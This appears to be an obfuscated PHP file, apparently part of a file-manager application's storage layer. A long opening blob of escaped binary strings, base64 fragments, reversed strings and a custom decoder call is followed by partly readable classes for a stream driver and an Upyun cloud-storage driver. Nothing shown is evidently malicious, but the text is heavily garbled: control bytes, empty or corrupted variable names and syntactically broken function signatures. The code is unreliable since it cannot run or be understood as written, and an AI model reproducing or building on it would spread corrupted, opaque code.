ѣ3h"#8ڻw+yy݌OHa!arJDg')."\324\256\236\116\301\15\302\201\145\10\221\42\102\170\141\224\274\306\67\175\121\155\37\275\240\107\203\364\147\61\213\341\113\113\375\353\352\75\312\234\15\265\0\303\275\76\330\31\64\115\252\370"."\xca\xd2\xb0\x1a\x8e\xb4\xd3\x38\x71\x52\x16\xcc\xa7\xc4\x86\x48\xe9\x55\x90\xbc\x1d\x17\xf2\xb6\xc5\xd8\x1a\x5f\x29\xa\xc2\x6f\x85\x5e\xf7\x55\xba\x22\xcb\x3\xc2\xef\x95\x94\x1\x29\xc2\xd\x96\xff\xe4\xde"."\xbe\x91\x3e\x1f\x12\x24\xac\xd5\xe2\xc2\x5d\x6b\xb3\xc2\x44\x94\x16\xa2\x50\xa0\x7a\x7\x28\x1d\x60\x2c\x76\xb5\x7\xb8\x89\x9a\x35\x7\x98\xa3\x1a\x44\x2c\x99\x28\x41\x7f\x57\xb0\x0\xa1\xa3\x50\x0\xed\xb2".base64_decode('C1l2845e+VP71vdN6/P66C1HLNj0eUST1OAKxH9jMccVTZX4b4LaUS8hRFc0jSyAH9jyLQ==').base64_decode('ANEVogub+GQGl67vQv/a4+uD6F8Y/YTjaLoMDoCWazi0JLge/ycyavlA0stMzgKhrvXofw==').base64_decode('RHzWh7rclTUH48uDQQrAwvArQBExgq5KTuzwzQLIFjcNoGpVrSGD6e2fUauqfqsH8IW7tQ==')."\xa8\xa9\x3e\xa1\xbe\x1a\xf8\x4b\x20\xd6\x22\x28\xb3\x3\x21\xca\x71\x81\xdc\x3\x70\x22\x2\x77\xcd\x6\xf1\xf6\x68\xa4\xa7\x5b\x8a\x77\x4\x96\x85\xba\xda\x59\xcc\x3f\x9d\x85\xa6\x43\xd5\x4a\x6b\x28\x86\x86".base64_decode('qIUho/AYJ8dBGCUikywRO1C6FVF9FJHEebxRoFTbucqae0LhVvk6OgYEZkMoPvCbqaxxLA==')."\x4e\x2e\xa6\xb3\x8\x1e\x72\x16\x26\xe8\xc6\x22\x64\xc\x58\x84\xe\x0\x8b\x91\xe1\x62\x11\xe2\x99\x8e\x45\x48\x47\x59\x4\xef\x5c\x82\x5d\x2c\xf\x6d\x4d\xd1\xb6\x92\xed\x37\x33\xda\x30\xbf\x56\x39\x3f\x95"."\220\174\136\140\32\354\243\252\72\354\371\4\155\34\65\256\226\165\151\127\211\142\114\322\67\120\63\101\105\272\326\215\325\264\222\62\313\117\41\220\140\112\140\320\157\337\352\105\104\160\136\315"."\xf0\x94\xde\x28\xb6\xe3\x86\x9d\x75\x7c\x14\x6e\x1e\xa2\x8f\x86\xc8\x75\x4f\xe9\xb3\xec\x6a\x6\xd1\x4a\xaa\xa6\xa4\xa\x27\x3c\x5d\x4e\x10\x7a\x30\xaa\x37\x7\x15\xb2\x50\x27\x61\x6b\x49\xa2\x5c\xa6\x51\xe7"."\x6e\x8b\x93\xa9\xd5\x7c\x13\x5\x6e\x39\x3c\xf0\xb\x2d\x3a\x80\xfe\xf4\x41\x94\xa9\x4e\xfa\xe0\x23\xd5\x1e\x60\xc8\x7d\x4c\x98\xef\xed\x1b\xad\xab\xf3\xa2\xff\x4e\x44\xff\x9a\xd1\xbf\x16\xf4\x2f\x88\x13\xda".strrev('ƩO멎v]2g9EZ!l'."\0".' d__}m?~F')."\136\304\133\243\221\156\52\343\50\241\66\205\372\171\120\252\251\216\277\32\204\267\226\150\20\257\61\12\305\362\152\252\35\272\264\205\325\12\334\375\256\165\226\12\165\265\6\127\50\325\106\152"."\124\325\64\25\12\53\150\105\263\212\224\262\232\130\15\264\255\160\4\147\145\314\21\105\106\122\266\43\157\241\151\161\201\270\145\302\37\361\330\300\356\331\172\140\333\317\163\250\314\115\263\102".base64_decode('McT2w2HSU5RlWFhU9ijcsQJOxNsbqq+FilgGrYhmBVfEowGcSOTb/aagP4Qs4f1XMafRyw==')."\247\104\52\364\255\6\65\304\152\207\20\112\305\123\54\206\2\336\21\306\51\365\211\347\20\135\4\35\146\131\123\261\4\344\172\32\353\216\206\72\3\321\225\60\144\142\227\1\13\327\314\72"."\256\40\213\210\141\365\110\227\340\273\120\253\345\113\361\164\216\71\235\106\73\146\106\247\121\153\150\260\12\317\74\15\202\73\122\225\337\161\146\152\232\32\166\127\330\303\2\314\311\4\271\177"."\xc5\xd4\x6c\x39\x44\xb8\x78\x4c\xcc\x1a\xe0\x3e\xcc\x8a\x9c\x2b\xdf\x20\x13\xfe\x52\x31\xab\xc5\x93\xcc\x78\x46\x5b\xa0\x27\x2c\xa7\xc0\x50\x29\x4b\x82\x2b\xbf\x61\x8d\xb0\x96\x56\x5a\x23\x2c\x8f\x29\x7c\xf8"."\152\203\376\324\314\206\376\121\367\27\65\15\150\327\133\312\143\307\56\334\45\43\264\12\70\164\117\74\242\42\56\24\15\142\236\0\75\342\303\52\265\127\332\331\313\223\2\325\140\0\356\174"."\366\33\272\306\140\52\165\215\227\347\272\255\140\127\173\250\53\330\324\71\26\212\5\72\25\326\160\320\336\141\107\214\47\102\75\241\210\32\106\222\265\52\53\350\102\21\320\120\73\334\372\251".strrev('u00sنg.2JWtZN@D!* wy I,]')."\xe6\xb\x70\xd5\xf1\x71\xb7\x55\xb7\x9c\x2c\xc\xce\xc5\xa9\x33\x3b\xe5\xe6\x8e\xe2\xa0\x40\x8f\xe4\xfa\x0\x17\x56\xd8\x7\xc9\x31\x54\xde\xd9\x3c\xc4\x66\xb3\xcc\x59\x93\xaa\x8b\xde\xe4\x74\xcb\xe2\xa7\xcf"."\361\214\256\130\5\75\111\334\65\52\340\50\115\111\231\272\45\334\75\303\330\223\335\26\13\332\31\341\44\102\166\173\332\332\314\6\271\224\267\143\172\26\116\17\132\23\304\262\137\134\265\23"."\x57\x9b\x24\x8b\x7f\x72\x8\x24\x66\x8e\x7a\xa0\x73\x15\x84\x9a\x42\x7c\x68\x24\x28\x91\x18\x16\x7e\x4e\xf1\x99\x8b\xa8\xb3\x9f\xe9\x13\xc4\x78\xac\x35\x18\x13\x74\x9f\x5e\xf2\x46\xe6\xcd\x6e\xbd\x98\x33\xc8"."\101\323\162\161\216\304\363\165\31\127\52\315\5\363\267\105\276\40\335\227\304\121\230\163\174\222\52\135\117\51\345\121\273\274\362\205\47\204\3\44\121\272\142\301\334\356\321\330\134\260\325\100"."\x78\x6\x81\x1\x48\x61\xbf\x45\x96\xe3\x13\x4e\x70\x48\x9d\x58\x3a\xf2\xa\xa7\x14\x29\x4d\xbe\x50\x2a\x39\xfe\x3e\x4e\x9e\x71\x32\x75\x2\x47\xd3\x86\xec\xa1\xc2\x27\x5c\xbe\x72\xb4\x5f\xcc\x7\x1c\x5f\xb4"."\206\343\174\54\170\247\125\251\55\335\34\76\311\335\176\323\321\220\206\231\44\320\40\131\250\112\243\150\104\207\201\361\170\114\302\1\51\265\223\71\154\2\207\263\141\163\200\323\30\44\200\202".strrev('b{D'."\0".'Xi ;G^lWR'."\n".'2w OE .')."\x7e\xdb\xb7\x16\x12\xa4\x92\x7c\x89\x14\x92\xc8\xab\xab\xc\x41\x47\x7a\x17\x7\x66\x3e\x3\xd9\x2\xc7\x10\x4d\xef\x8a\xa8\x1d\x88\x6d\x44\x98\x70\x61\x58\x71\x7\x99\x66\xa5\x80\x14\xd8\x48\xf6\x49\xfa\xc9"."\xa5\x60\xd8\x0\xce\x27\xc7\x53\xf4\xa0\x14\x26\x7b\x1d\xa2\xc0\x3c\xc4\x8c\x4d\xc0\xff\x97\x60\xea\x1\xfa\xb3\x32\x97\xf2\xa2\x86\x3\xd6\xa5\x74\x9b\xbb\x5f\xc2\xd4\x8c\x5d\xa6\xc4\x6d\x96\x2e\x58\xe7\x38"."\241\34\221\134\204\152\303\72\276\316\306\324\53\145\346\71\320\225\362\316\101\23\361\21\131\54\322\23\145\347\70\70\216\165\124\152\64\330\262\222\37\251\360\324\266\300\62\167\112\10\353\37"."\x3\xed\x15\x93\xb9\xe6\xb\xa7\x93\x2d\xa6\x1a\x8d\x60\xf5\x61\x30\xdc\xe6\x2a\x10\xeb\xe0\x2e\x5d\x9d\x69\x6a\x38\xd4\xb5\xa4\x62\x6\x12\x31\x3a\xa5\x22\x34\x31\x14\xf\x76\xba\xd3\x9c\x35\xc4\x82\x81\x28"."\x73\x17\x8c\xe3\xcd\xe1\x48\x8b\x94\x1d\x8a\x94\x8f\x4\x97\x61\x78\x22\x55\x30\xd2\x44\xff\xc9\x35\x7d\xeb\xc8\xee\xa6\x11\x6d\x72\x52\xeb\xb1\x26\xc2\xab\xf6\xcf\xa8\x5d\xd4\xb7\xa1\xb6\xa6\xcf\xbf\xc8\x37"."\235\53\320\50\271\222\256\354\116\222\154\61\46\322\350\116\300\374\207\45\322\142\20\363\373\174\360\21\36\360\367\371\231\217\57\277\310\204\137\1\317\231\7\270\351\216\121\117\111\216\26\272"."\34\212\260\273\372\76\367\145\63\225\335\60\143\44\125\113\63\73\204\20\75\242\125\143\53\143\174\222\234\151\16\124\244\310\54\233\143\270\200\321\277\156\31\24\133\0\125\4\164\340\262\343"."\x8e\xb4\x9c\xe4\x33\x4c\xb1\x4c\xc4\x7a\x4e\x99\xc9\x12\xf6\xcd\x24\x26\x47\xdc\xa8\x46\x49\x3e\x47\x15\x88\x92\xf\x8a\xed\x3d\x2c\xc7\x18\x5b\xb6\x79\xc4\x24\x81\xb\xb7\x20\xb1\xb3\xbd\x23\x74\xd2\x92\x70"."\147\127\244\173\151\64\26\357\131\266\174\305\112\360\114\331\310\260\45\255\170\231\62\3\274\260\372\207\265\242\177\230\271\150\137\206\167\15\272\345\227\245\61\236\210\372\210\175\344\62\167\151"."\x54\x7\xc1\x73\x31\xd9\xf0\x57\xce\xa2\xb5\xf9\x73\x79\xbb\x7e\x12\x88\xee\xa2\x9e\x30\x4d\x7b\x92\xdc\x65\x9d\xdf\x5c\x31\x64\xf6\xf6\x59\xfd\x1c\x3d\x53\xfa\x30\x4\x85\x9\x9d\x25\xf6\x4a\x20\x5d\x78\x65".base64_decode('V/EYW2WBL5VwiQGQIE4WJGFBOm5gXpJpdIydyBB/ZpKXYWzwwN0A44jFY+BhtB17GGXeRQ==').strrev(',7 xB$#').base64_decode('ZvYFaVgGY0lCHkuLG0NYrFKdYtViV3sxVnvRHgmTGkS/bEN6/EAGcT7q5H7qyT0KpAheRw==').base64_decode('XvmZqVG018XZ+AEUL15KXiM1WY6gnxWbmoRVWQmkp2Sk3J8k5kneUol9sGKl8k6cAZBOhA==')."\170\175\362\33\32\130\123\351\345\347\250\356\47\72\204\366\102\53\177\136\4\321\111\245\141\146\343\354\171\215\354\162\346\64\146\135\125\52\260\213\32\50\310\236\37\71\316\237\146\44\127\274"."\362\304\372\206\47\134\172\257\305\221\54\206\221\23\123\106\253\35\160\242\265\216\47\306\240\243\124\171\46\75\60\103\116\277\50\211\302\66\207\52\177\210\247\2\323\112\351\303\114\374\4\321"."\135\62\214\344\23\62\300\2\105\16\257\211\45\222\310\16\212\236\20\372\2\30\76\210\32\152\212\255\46\21\333\345\363\242\114\51\77\330\44\145\52\266\151\52\71\55\77\6\73\371\251\126"."\xe3\x54\x6b\x3e\xfe\x50\x13\xbe\x8d\x63\x4d\x65\x6f\x2e\x9\x27\xdc\x98\x65\xb\xf7\xaa\xd4\x4f\x18\xe4\xd0\xb3\x3e\x1f\x7e\x77\xcc\x87\xe5\x81\x28\xbb\x79\xdf\x4d\xc8\x3c\xf0\x7f\xfa\x72\x15\x64\x84\x7b\xda"."\103\135\222\151\244\224\240\266\264\166\251\201\356\356\212\31\60\23\124\163\217\355\212\174\153\244\167\50\201\131\241\155\254\222\304\327\273\232\252\160\152\225\142\25\223\314\25\171\225\37\130\26".base64_decode('ARDy4QIDilTjIkoaoYmXhGh29cIFfgNK+vzHY7LtxzaG+Wl4EmWTJ5LaJlytKcoCTaHD1Q==')."\x54\x4d\xce\xa1\xaa\x95\xc\x92\x70\xb8\xf1\xf5\x42\x77\xe1\x2e\x76\x62\xbc\xc0\xaf\xc9\x99\x78\x1\x45\x4d\xb6\xd7\xe6\x7a\x8e\x61\xee\x40\xb4\xe2\x51\x62\x40\x7a\x9f\x80\xbc\x4b\xd4\xa2\xe5\x97\x95\x17\xc1"."\x95\xfb\x92\x72\x56\x2f\xbd\x98\xd7\x2f\x4f\x1f\xb9\x54\x57\x5e\xda\x4f\x14\x6f\x7e\xa1\xe0\x51\xe9\xfb\x9a\x95\xf\x62\xf9\xb9\x65\x5\xc4\xc0\xc6\x42\x8\xaf\x99\x95\x86\x96\x1c\xc4\x98\x25\xd8\x0\x34\x3"."\x32\xba\xb1\xba\x86\x66\x38\x5e\x64\xb1\x25\xab\xaf\x12\xbe\x73\x4a\x4e\xc1\x8a\xe2\xc1\xb5\x75\xeb\x68\x45\x58\xc8\xda\xb0\xa1\x3c\xd\x6c\xcc\xdd\x59\x81\x82\xe1\x4e\xc2\x18\xe4\x4e\xc3\x6a\x33\x91\x86\xf8"."\231\363\63\24\173\145\40\221\302\140\350\257\50\23\356\152\27\21\252\350\160\144\366\62\13\60\22\353\353\255\366\115\337\260\301\157\60\153\113\146\323\305\312\372\70\64\215\367\371\234\360\250".base64_decode('JzD0HBAS3JBUZD8JFuF+/uniniy3qlSwqWVT08JeLkL1szyVaJnkuWOSuFF/IkMKtFWOLw==')."\347\301\226\56\261\327\340\353\202\122\32\37\321\173\6\234\316\316\27\211\247\350\350\70\313\341\100\241\40\107\375\54\202\217\4\263\106\302\317\351\0\75\46\364\45\305\205\123\6\102\250\220".strrev('*H(F]<}(;`E,"xtYȌ<82I+')."\x92\x47\x15\xa2\x58\x34\x87\x91\x2d\xde\x94\x5\x98\x66\x21\x9\x37\xdb\x54\x45\x9a\x6b\x65\x74\x1d\x95\x27\x54\xa9\xd2\x47\x50\xc1\x2a\x85\xd1\xcd\x9c\xc6\x47\xac\x68\x9b\x88\x25\xf2\x4b\x8c\xf0\x16\x63\x4f"."\x14\xae\x66\x5\xba\xe0\x18\xf6\xf8\x93\xe9\xef\x9\xc7\x33\x9c\x21\x8f\x86\x66\x91\xe8\x4b\x2e\x9e\x10\xa\x45\xe4\xeb\x34\xd6\x4a\x53\x20\x78\x13\xb2\x3b\x1a\x89\x47\x5a\xd8\xab\x6f\x4e\xf5\x35\x4d\x9b\xc5"."\xf6\xa\x16\xbd\xa4\x2b\x76\x99\xec\xfa\x20\xb7\x9e\x62\x10\x5c\x48\xf0\x43\xa\xcc\x7b\xb1\x94\xcf\x73\x73\x56\x8c\x99\x9c\x93\x35\x55\xfe\xd3\x4b\xd4\x6f\x7a\xaa\x7f\x92\x7c\xa5\x57\x63\xe7\xc8\x40\x47\xe9"."\301\170\54\123\262\5\63\305\117\205\304\261\43\2\13\222\45\237\253\330\343\253\236\362\365\122\177\11\115\165\354\362\30\63\236\25\27\127\31\244\234\243\140\46\320\317\107\35\255\164\77\20".base64_decode('SrGGqvHRJzxvVe2prvFNr60uz6Fmys58bO2nnhRDmfCYFDBzckmzJRwKdsXVEPDx+oa5vg==').base64_decode('OnFz0rCEm2QabuFmVkWdjKrP0a0KQ0OPoOLcyFbPOzTRdEizJvOu21BXV+etq0d/2a0R5g==')."\xd3\xb3\x91\xfb\x3e\x12\x20\x75\x75\x8d\xe4\x2f\xcd\x20\xc7\x40\x80\x82\xce\x1c\x44\xfc\x18\xd5\x6\x80\x11\x5d\x87\x6\x1\x97\x44\x1b\xde\x12\x13\x2b\x7b\x5b\xf0\xbd\x5a\x5\x37\xd\xa6\x45\x18\x9\x23\xec".base64_decode('I05vGQF1PJypEDsIiOnuQeAGJoDP7ISEOixnTBE1ZIAMCrSXX+JGYGLVzKf355t4o4L5VA==').strrev(')IUQc;A8a'."\n".'qtޜeCMP(Q'."\n".'>~WY{\\(\\1').base64_decode('5jehSSzLvbPgaBevib7SRG8kwxhWWIUZc0QVUgiOnsRjZEjxppGhYUq6rY7HlXEfCZzr6g==')."\205\25\24\30\165\21\217\44\203\106\326\341\267\101\225\212\312\143\73\37\3\262\236\304\235\45\161\105\210\176\5\370\133\125\324\36\233\265\115\1\212\102\243\304\221\77\171\232\227\32\342\67"."\356\127\66\271\266\173\142\311\34\71\16\165\334\126\220\54\46\315\24\73\357\213\175\213\241\42\113\11\262\4\172\122\331\302\135\351\112\25\270\263\134\145\2\364\230\260\254\0\244\227\103\223"."\xd3\xd4\xa\xd0\x38\xdd\x5\x4d\x9c\xe6\xb6\x70\xdf\xe0\xb2\x27\x5d\xaa\x41\x92\xc\xe9\x2c\x78\xc2\x44\x58\x31\xb1\x3a\x86\xa5\xfd\xa4\xaf\x50\x34\x7\xd0\xac\x5b\xf2\xa0\xa1\xf4\xee\xca\xc9\x1c\xbc\x1c\xb2".base64_decode('AhBvvQwnJ+JzW/aGNqCzcP6gpThzlEDFVT8p0bmapYwW/qScnIj3p7LdGtk/OOvAG19nCg==').base64_decode('b9k3IB1TWNjw3rpslk3BBEXCyiT52Ex1oAnDVWYmh0dI2KU402kaVSk4DsPjhNBldfb8Ow==')."\x90\x42\xb2\xa8\x70\x5\x61\xf6\x8c\x71\xcc\xe1\x78\x1e\xd0\xb4\x91\xc9\x22\x72\x31\x67\xde\xdb\xe7\x5c\xcc\x2\x97\x32\x28\x3c\xac\x5c\xf9\x2c\x1f\x37\xe2\x21\x55\x65\x6d\xf\x5e\xd1\x1d\xfc\x49\xf1\xa\x88"."\xe8\x44\xb6\x32\xac\x22\x7c\x1b\x57\xd0\xc8\x49\xa1\x14\xc3\xb5\xb3\x93\x5e\xb4\x1f\xb6\xa8\xee\xd2\x83\x93\x15\xfa\xce\xb6\x92\xd7\xb9\xcb\xd\xe7\xa4\xca\x5\xe0\x61\x37\x13\x49\x8f\xd8\x2f\xb7\x5c\x8\xd7"."\xd5\xe3\x22\x51\x4b\x1c\x14\x91\xb7\x95\x8a\x6e\xcc\x54\x57\x99\xea\x6b\x0\x33\xe2\xa9\xec\x55\x17\x4a\x8f\x85\xd1\x89\x1f\xba\xdd\x8b\xba\xd5\x8f\x36\x35\x82\x9b\xc0\x84\xf4\x52\x6a\xcc\xea\x24\x1a\x48\x3e"."\217\270\3\20\112\261\331\122\234\274\126\342\34\212\134\55\342\301\361\14\126\333\364\53\244\321\363\311\233\40\25\162\261\263\23\366\65\356\261\34\370\0\202\61\155\276\55\306\325\7\122\22"."\63\15\313\322\156\234\26\361\56\24\115\165\230\125\110\257\45\160\120\324\14\326\170\215\265\215\30\320\222\67\45\244\235\272\53\352\66\67\306\45\44\371\6\105\45\76\114\244\0\233\61\162"."\xf6\xe4\x84\x30\xd3\x25\x41\x41\x8e\xdf\xbe\xea\x1c\x16\x38\x5b\x60\x55\x4c\xb2\xee\xac\xd0\x3e\xa8\x95\xd7\x89\x5b\x90\x17\x56\xc2\x20\xce\x14\xf5\xa4\x59\x4c\x61\xf6\x28\xf9\x10\xca\xdb\x51\x7d\x40\x8e\x12".base64_decode('yw22NoQ/e7kK7KdNIkIYYQJJuyR7fZOevEAx6QUTSSz11itcnlVpzTQyQ8og8JVEW5cWVg==').base64_decode('urtHNFKxUoIfrbsETnYdUJHlOXa/D1dA/HHhHlhyHqoWu5oXPZOLkG+WFaF5WKQSFwHlHA==')."\xb\x3f\x4d\xd2\xc3\x66\xb1\x52\x4e\x85\x4f\x91\x2c\x69\x44\x93\xdc\xb1\x1f\x8c\x8e\x18\x24\xc8\x18\xd3\x99\x7d\xbb\xb7\xbe\xc1\x3b\x13\xf6\x33\xf2\xe5\x40\xb6\x55\x3\xae\x82\x16\x96\x84\x6\x78\xb3\xcb\x88".base64_decode('GliHA5yAMSUDBeLpSvj0IU69+HwS7188VpQkC/E8PXGDJRN5YbVFDcoxQE+lfDpCOLvVcQ==')."\5\300\5\200\326\207\63\37\136\57\21\215\241\236\270\114\207\145\246\253\22\170\11\107\176\237\205\224\22\375\20\367\40\120\222\111\337\110\221\6\106\130\237\121\7\141\354\102\7\47\162\42"."\71\156\362\304\162\13\66\214\225\120\45\365\260\0\373\337\232\132\354\141\301\241\145\354\34\343\167\335\261\165\50\146\331\334\360\337\222\43\54\227\43\247\345\210\120\153\130\107\151\236\304\241".base64_decode('RnTmEIHt27s7uv08qZkvT6o2EX4JW5jJqT6qw3ZvJGcklXCkPdQSCLeGYkuUAXyayuUW8g==')."\x92\x91\x73\x29\x13\xed\x30\x1d\x78\x86\xd5\x9\xfe\xdc\xe\xe\x7a\x13\x68\xff\xe0\x4d\xf1\x3d\x96\x25\x76\x53\xa4\x2f\x50\x99\x78\x90\xd0\x59\x2d\xc5\x3f\xbd\x58\x56\x63\x1e\xdf\x50\xcc\x96\x95\xc1\x3a\xef"."\12\320\131\241\341\225\200\13\105\275\34\176\114\307\106\240\122\213\245\2\245\12\255\1\370\312\137\40\117\41\311\320\110\54\322\363\223\65\336\310\17\33\226\41\26\76\53\61\46\327\36\150"."\355\14\165\251\201\160\70\262\334\141\73\55\264\375\105\256\100\111\311\317\122\111\63\43\46\201\176\275\334\375\45\70\33\224\337\2\161\51\125\350\364\311\256\122\13\354\210\12\36\317\345\357".base64_decode('19Co9IhcoagZli4l0BfOpsOFQC2bdTwJm01L0ZKTs1b8lEo/wNIkt6yVAKKh9o74/7ipRg==').base64_decode('SnhINFLM2o5f+6ZP27TIzwezb4oHlMpT/qeP8HmE3KgST3LstU+TbJdAlqdpoYhKnaqJTw==').base64_decode('IHmlOFaQz1n9KT8fdBrAvmCD7HAPR8TGBYNDbfhzdDuLdulYo8i2OEw7hygHjLzD1NT1nA==').base64_decode('oPsugeOxwLJvkGdsaB45hEKQ/aJzKMafrRJF3TkVGoCyFaHz4gBKk1JHX7bkTxIpC5iXCw==')."\xf1\x1\xe2\xc0\x31\x98\x2b\xd8\x8e\xad\x7e\x87\x7c\xa1\x48\x9a\x1b\x9a\x80\x15\x40\x45\xae\xc1\xa3\x93\xcf\xa2\x78\x86\x9b\xd8\xac\xaa\x32\xbb\x24\x12\x93\xd8\x0\x62\x2b\x54\x33\x37\x56\x96\xe0\x50\x8f\x85"."\131\157\270\135\70\176\306\51\237\66\345\121\47\204\35\337\51\243\357\326\122\115\204\7\155\101\164\273\374\315\73\132\374\377\246\40\315\214\111\216\175\235\225\224\67\310\162\263\114\41\276\341"."\347\374\62\346\210\363\61\133\234\342\176\300\317\361\164\237\264\324\210\317\6\371\261\101\147\41\117\331\163\132\12\171\207\134\101\13\4\346\36\233\344\260\235\56\1\226\76\75\225\376\364\301"."\57\143\213\356\106\120\202\7\237\254\345\250\330\222\61\262\251\42\267\71\23\11\235\272\120\77\220\122\330\354\112\143\357\255\223\207\76\133\31\155\207\27\274\52\275\352\210\335\271\72\37\42"."\23\357\273\11\36\354\174\357\212\37\347\133\142\11\131\266\343\205\265\270\31\327\6\74\24\125\61\165\24\261\346\61\71\54\337\125\40\275\100\231\114\105\230\342\363\275\120\2\140\57\245\246"."\74\344\341\116\112\40\335\117\204\111\353\223\323\141\271\364\100\326\114\150\131\60\210\164\334\100\54\242\135\231\316\170\211\3\214\46\371\265\102\101\34\210\310\254\27\375\357\270\44\16\171\75"."\361\16\225\70\114\121\251\175\102\114\340\234\164\34\111\23\341\150\262\224\17\321\203\31\107\152\121\332\57\312\56\261\351\141\215\270\153\14\340\250\235\335\364\34\26\6\114\256\222\235\215\163"."\105\73\242\107\174\133\355\57\77\113\307\106\144\100\121\260\321\216\56\154\111\210\367\22\171\103\7\0\312\2\105\240\206\143\41\143\124\102\122\65\175\32\225\120\12\231\242\175\103\252\364\174".strrev('zozϤNtKeu^kL$vA! OU:5Z<')."\344\116\134\176\56\240\251\160\276\340\313\105\14\276\377\50\333\302\270\167\57\174\130\135\5\242\356\101\216\233\345\132\147\141\155\340\170\204\126\352\65\220\266\362\207\154\245\141\220\372\135\52".base64_decode('Zj3E8MLD7BkrvoXreHLPPaEVXtP91grhEgjZvKWcVK9xQaLIzq3dYIYDdxEDFhcjqSfsMg==')."\x6\xb1\x32\x97\x6a\x98\x39\x7b\x9e\xac\x24\x11\x53\x28\x4e\x73\xc1\x49\xc\x1c\x4a\x83\x8c\x23\x90\x42\x71\xa2\xa1\xc2\xdc\x6f\xcb\xab\x9f\x64\x3a\x6f\x15\x95\x3f\xc3\xec\xe2\x0\xff\xb3\x5\x23\x76\x21\x14"."\x54\xb2\xb9\x2d\x7f\xb0\xbe\x6c\x4\x8\x9e\x4a\x96\x5f\x12\x43\x74\x99\xf8\x98\xd8\xea\xc6\x12\xab\x8e\xb2\x40\xf1\xdc\xb2\xf3\x5b\x54\x7c\xa8\xd0\xf\x89\xef\x89\xc5\x42\x9f\xce\x35\xb3\x78\xaf\x9e\xc3\x27"._kodDe('LmbyY0E8Xt0buK+gOA692kaIevjDpPoSIspLuZDKJUuWdJVTeziuk8RsgcgG5iYRqYtGeTQ=')."\xfe\x7\x13\xc8\xf6\x5a\x74\x5b\x26\xac\xbf\x70\xf7\x1d\x5b\x74\xe7\x28\xf8\x17\x33\x32\x53\xe1\x99\x64\xc9\x36\xe6\x1b\xfa\x40\x25\x3d\xbe\xc7\xf4\x6a\xb6\x57\x42\x4e\x49\x25\xa9\xdb\x11\x32\xd9\x40\x2e\xc4"."\x56\xd8\xd9\x6f\x57\xf5\xa8\x98\xa8\xa3\xdf\xa3\x4c\x6\x54\x2e\xee\x49\xaf\x29\xb\x3f\x8f\x92\xa0\x87\x4b\xb3\x9b\xf6\x93\x68\x12\xc8\x45\x6f\xa7\xc8\x24\xbf\x2\x4b\x2e\x4b\xb\x87\x44\x64\xe9\x3a\x96\xb1"."\xe4\xed\x5e\xbe\x6c\x4c\x2a\x92\xd7\x47\x79\xd5\xd2\x9b\xba\x42\xd3\x44\x54\x53\xd0\x23\x58\xdc\xc4\x84\x82\x34\x33\xd0\xce\xef\xa8\x6b\x92\x29\x9f\x53\xfd\x5\xc2\x9d\xf4\xa\x3c\x1a\x3e\xe9\x69\x74\x53\xe".base64_decode('iznBPCHCboSg5jj2sygu3LxL9CvlSmRjRoiGoIeS7wPHVok/M+rYOlnut4aRKCg/DICi7g==')."\x57\xd8\x81\x70\x92\x1b\x84\xf4\x6b\x12\xeb\x15\x5c\x56\x84\xba\x4a\x39\x11\x91\x94\xc8\x64\xbf\xc5\x33\x1d\x2e\x22\xb0\x37\x43\x17\x8d\x60\x8e\x27\x2c\xd7\x4b\xe3\xd4\x4d\x3b\xd\xb3\x6d\xc1\xff\xfa\x99\xdd"."\377\127\257\353\316\256\143\352\176\134\77\277\16\330\16\302\71\264\26\237\260\162\245\7\125\65\273\372\341\144\257\123\0\213\320\340\373\206\5\121\41\161\156\20\316\74\132\62\107\227\32\73"."\200\323\262\131\211\11\127\336\316\224\75\161\216\220\157\220\277\227\135\51\342\276\47\355\176\356\274\227\150\172\331\113\346\375\225\0\5\135\342\273\246\12\170\114\223\230\260\54\150\122\336\110"."\16\126\70\75\47\6\261\316\147\25\44\341\244\14\114\264\1\311\60\314\125\250\237\205\222\170\273\110\334\351\300\350\311\236\17\42\5\266\261\254\5\56\320\277\230\121\53\342\146\5\210\226"."\114\250\34\111\145\344\55\356\230\23\107\242\74\334\202\6\371\330\164\72\112\164\272\236\165\246\100\226\74\266\216\43\2\42\357\24\112\356\167\7\350\326\110\56\45\333\133\224\177\200\223\12".base64_decode('uQg21Xeq0TAO4LZ767yuhHqvqzr++LVzOTheY6Y2KmgNRbGWhGnLyEEUOZ/2lpehqB8TMA==').base64_decode('kyy+yiSAN0qoDnFIHg9GSrqLJhlbZyrXHEnW00lJP+sWD2nyVF8ZY2NU1TGZ2KhPHIDGIw==')."\321\240\272\74\204\35\171\204\126\5\173\230\177\151\303\44\57\273\260\52\173\72\153\310\165\75\130\43\150\243\323\146\12\154\323\21\275\223\224\305\302\21\62\266\41\47\32\121\131\246\140\227"."\304\245\133\21\314\21\231\254\267\164\2\343\253\55\316\5\273\260\22\130\322\54\132\262\37\121\107\46\226\315\114\224\33\145\233\355\236\74\132\355\172\322\326\123\12\346\362\16\301\277\167\126".strrev('o!U^gmAC F1source = $; $this->sourceSize = $Ἔ; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($Í = false) { return $this->fileSubstr($Í, 0, $this->sourceSize); } public function fileSubstr($է = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ē = $this->sourceSize - $; if ($ >= $ē) { $ = $ē; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $Ԏ = ftell($this->source); fseek_64($this->source, $Ԏ + $); $ܨ = @fread($this->source, $); fseek_64($this->source, $Ԏ); return $ܨ; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($ヵ, $Ɩ = 0) { $ז = new PathDriverStream($ヵ, $Ɩ); return $ז->hashSimple($ヵ); } public static function md5($١ǩ, $ = 0) { $Ù = new PathDriverStream($١ǩ, $); return $Ù->hashMd5($١ǩ); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "\x68\164\x74\x70\x3a\x2f\x2f\x76\x30\x2e\141\160\x69\56\x75\160\171\x75\x6e\x2e\x63\x6f\x6d"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $蹩 =& $_SERVER[]; foreach ($ as $ => $л) { if (isset($this->{$})) { $this->{$} = $л; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($蹩[1529] . LNG($蹩[1433])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return 